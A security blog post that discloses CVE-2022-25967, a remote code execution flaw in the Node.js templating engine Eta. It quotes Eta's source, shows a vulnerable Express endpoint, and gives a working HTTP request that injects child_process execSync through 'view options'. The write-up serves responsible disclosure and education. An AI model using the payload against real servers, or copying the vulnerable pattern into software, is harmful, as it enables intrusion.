Rayhan0x01's Blog

DevOps and AppSec Practitioner

1 April 2023

Finding RCE in NodeJS templating engine 'Eta' - CVE-2022-25967

In preparation for the HTB University CTF 2021 Finals, my colleagues and I at Hack The Box discovered a Remote Code Execution vulnerability in the Node.js templating engine ‘Eta’. The vulnerability was reported via Snyk and assigned CVE-2022-25967. This blog post covers a short technical write-up of this vulnerability.

Inspired by the following GitHub Advisory about Remote code execution in Ejs, we decided to take a look at other NodeJS templating engine libraries. We found Eta, which has about ~260k+ weekly downloads.

As per their readme, Eta’s syntax is very similar to EJS and shares the same file-handling logic. The issue discovered in Eta is also very similar, as Eta also allows template engine configuration options to be passed through Express render API as defined in the file-handlers.ts file:

// If there is a config object passed in explicitly, use it
if (typeof config === 'object') {
    renderConfig = getConfig((config as PartialConfig) || {}) as EtaConfigWithFilename
} else {
    // Otherwise, get the config from the data object
    // And then grab some config options from data.settings
    // Which is where Express sometimes stores them
    renderConfig = getConfig(data as PartialConfig) as EtaConfigWithFilename
    if (data.settings) {
        // Pull a few things from known locations
        if (data.settings.views) {
            renderConfig.views = data.settings.views
        }
        if (data.settings['view cache']) {
            renderConfig.cache = true
        }
        // Undocumented after Express 2, but still usable, esp. for
        // items that are unsafe to be passed along with data, like `root`
        const viewOpts = data.settings['view options']

        if (viewOpts) {
            copyProps(renderConfig, viewOpts)
        }
    }
}

The renderConfig object is utilized for template engine configuration by the compileToString function as defined in the compile-string.ts file:

export default function compileToString(str: string, config: EtaConfig): string {
  const buffer: Array<AstObject> = Parse(str, config)

  let res =
    "var tR='',__l,__lP" +
    (config.include ? ',include=E.include.bind(E)' : '') +
    (config.includeFile ? ',includeFile=E.includeFile.bind(E)' : '') +
    '\nfunction layout(p,d){__l=p;__lP=d}\n' +
    (config.useWith ? 'with(' + config.varName + '||{}){' : '') +
    compileScope(buffer, config) +
    (config.includeFile
      ? 'if(__l)tR=' +
        (config.async ? 'await ' : '') +
        `includeFile(__l,Object.assign(${config.varName},{body:tR},__lP))\n`
      : config.include
      ? 'if(__l)tR=' +
        (config.async ? 'await ' : '') +
        `include(__l,Object.assign(${config.varName},{body:tR},__lP))\n`
      : '') +
    'if(cb){cb(null,tR)} return tR' +
    (config.useWith ? '}' : '')

  if (config.plugins) {
    for (let i = 0; i < config.plugins.length; i++) {
      const plugin = config.plugins[i]
      if (plugin.processFnString) {
        res = plugin.processFnString(res, config)
      }
    }
  }

  return res
}

By overwriting the varName, include, includeFile, and useWith variables, we can simplify the anonymous function generated by the compileToString function to inject arbitrary JavaScript code on varName for Remote Code Execution:

{
    "varName":"INJECTED_JS_FUNCTION_CALL()",
    "include" : false,
    "includeFile": false,
    "useWith": true
}

The resultant anonymous function generated with the above configuration variables is as follows:

(function anonymous(x=INJECTED_JS_FUNCTION_CALL(),E,cb
) {
var tR='',__l,__lP
function layout(p,d){__l=p;__lP=d}
with(x=INJECTED_JS_FUNCTION_CALL()||{}){tR+='template file content here'
if(cb){cb(null,tR)} return tR}
})

An attacker can leverage the issue provided a Server-Side Prototype Pollution exists or user-controlled data is supplied to the settings key in the data object in Express render API. A vulnerable Express endpoint may look like the following:

router.post('/settings', (req, res) => {
    const userConfig = req.body;
    return res.render('settings.eta', {settings: userConfig});
});

The above endpoint can be exploited by supplying the following HTTP request to achieve RCE:

POST /settings HTTP/1.1
Host: localhost:8001
Content-Type: application/json
Content-Length: 219

{
    "view options": {
        "varName": "x=process.mainModule.require('child_process').execSync('touch /tmp/test.txt')",
        "include" : false,
        "includeFile": false,
        "useWith": true
    }
}

Coincidentally, I later stumbled upon the blog post Finding Prototype Pollution gadgets with CodeQL by Jorgectf and found this vulnerability was also discovered with CodeQL as a Server-Side Prototype Pollution gadget vector.

A special kudos to Makelaris and Makelaris jr. from Hack The Box for their help in discovering this vulnerability.

References


Tags :

[ nodejs  eta  templating-engine  remote-code-execution  rce  snyk  cve-2022-25967  prototype-pollution,  express,  web  ]